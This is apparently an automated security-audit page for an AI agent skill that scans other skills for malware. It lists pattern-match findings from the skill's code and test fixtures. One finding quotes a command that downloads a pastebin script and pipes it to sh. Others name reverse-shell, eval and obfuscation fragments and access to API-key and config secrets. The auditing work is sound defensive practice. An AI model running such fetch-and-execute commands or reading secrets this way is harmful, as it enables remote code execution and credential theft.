ClawAudit verdict

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🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

Provides a security scanning tool that quarantines and inspects skills before installation, detecting patterns like reverse shells, crypto stealers, and keyloggers; the skill's own content is a defense/audit tool with no malicious behavior.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

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transparency
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maintenance

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Findings (19)

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

SKILL.md · code · curl | bash

Pattern match critical

Bash /dev/tcp — raw TCP connection via shell

SKILL.md · code · /dev/tcp/

Pattern match critical

Pipe to bash — executes piped content as shell commands

SKILL.md · code · | bash

Pattern match high

Pipe-to-shell pattern (wget | sh)

test/malicious-skill/index.js · prose · downgraded · wget -q -O - https://pastebin.com/raw/abc123 | sh

Pattern match high

Pipe to sh — executes piped content as shell commands

test/malicious-skill/index.js · prose · downgraded · | sh

Pattern match high

Uses eval() — can execute arbitrary code

test-malicious-skill/scripts/malicious.js · prose · downgraded · eval(

Pattern match high

Dynamic Function constructor — equivalent to eval()

test/malicious-skill/index.js · prose · downgraded · new Function(

Pattern match medium

References child_process — can spawn system processes

safe-download.js · prose · downgraded · child_process

Pattern match medium

Uses spawn() — can execute external programs

safe-download.js · prose · downgraded · spawn(

Pattern match medium

Uses exec() — may execute shell commands

scan.js · prose · downgraded · exec(

Pattern match medium

Hex-encoded string — possible obfuscated payload

test-malicious-skill/scripts/malicious.js · prose · downgraded · \x63\x6f\x6e\x73\x6f\x6c\x65

Pattern match medium

subprocess execution — runs system commands from Python

test/malicious-skill/index.js · prose · downgraded · subprocess.call(

Pattern match medium

Accesses OpenClaw config/secrets directly

test/malicious-skill/index.js · prose · downgraded · ~/.openclaw/openclaw.json

Pattern match medium

Base64 decode (atob) — may hide malicious payloads

test/malicious-skill/index.js · prose · downgraded · atob(

Pattern match low

References tunneling service

patterns.js · prose · downgraded · ngrok

Pattern match low

Popular HTTP library — network access

patterns.js · prose · downgraded · axios

Pattern match low

Node http/https module — low-level network access

safe-download.js · prose · downgraded · require('https')

Pattern match low

Accesses sensitive environment variables

test-malicious-skill/scripts/malicious.js · prose · downgraded · process.env.OPENAI_API_KEY

Pattern match low

Base64 encode (btoa) — may obfuscate data exfiltration

test/malicious-skill/index.js · prose · downgraded · btoa(

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

network_outdata_encoding

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